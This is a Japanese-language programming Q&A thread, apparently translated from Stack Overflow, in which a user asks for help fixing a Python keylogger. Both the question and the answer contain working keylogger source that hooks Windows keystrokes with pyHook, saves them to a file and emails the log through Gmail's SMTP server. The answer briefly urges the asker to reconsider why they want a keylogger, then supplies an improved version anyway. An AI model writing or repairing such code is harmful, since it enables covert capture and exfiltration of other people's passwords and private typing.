2

私は単純なキーロガーに取り組んでいます-

import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")

def OnKeyboardEvent(event):

    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    checklog()
    return True

def checklog():
    f = open(path, "r")
    x = f.read()
    if len(x) == 1000:
        server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
        f.close()
        f = open(path,"w")
        f.close()



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

ログをファイルに保存し、ファイルの長さが 1000 の場合は電子メールに送信する必要があります。その後、ログがクリアされ、長さが 1000 の場合はメールで送信されます。 . 問題はどこですか?ありがとう

4

1 に答える 1

0

次の線に沿った何か。ただし、キーロガーが必要な理由についてはよく考えてください。これはテストされていません。

from functools import partial
import logging
import logging.handlers
import smtplib
import pyHook
import pythoncom


class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler):
    def __init__(self, smtp_credentials, **kargs):
        self.smtp_credentials = smtp_credentials
        super(EmailingRotatingFileHandler, self).__init__(**kargs)

    def smtp_connect(self):
        server = smtplib.SMTP("smtp.gmail.com:587")
        server.starttls()
        server.login("", "")
        return server

    def doRollover(self):
        ## Close the stream
        if self.stream:
            self.stream.close()
            self.stream = None

        ## Email the file
        server = self.smtp_connect()

        with open(self.baseFilename, 'r') as logfile:
            contents = logfile.read()
            server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents)

        server.quit()

        ## Proceed with the rollover
        super(EmailingRotatingFileHandler, self).doRollover()


def OnKeyboardEvent(logger, event):
    print "Key: ", chr(event.Ascii)
    logger.info(chr(event.Ascii))
    return True


def main():
    path = r"C:\Users\Karel\Desktop\log.txt"
    smtp_credentials = ("", "")

    ## Set up the logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024)
    formatter = logging.Formatter('%(message)s')
    log_handler.setFormatter(formatter)
    logger.addHandler(log_handler)

    ## Configure the event handlers
    hm = pyHook.HookManager()
    hm.KeyDown = partial(OnKeyboardEvent, logger)
    hm.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()
于 2012-07-31T09:43:47.013 に答える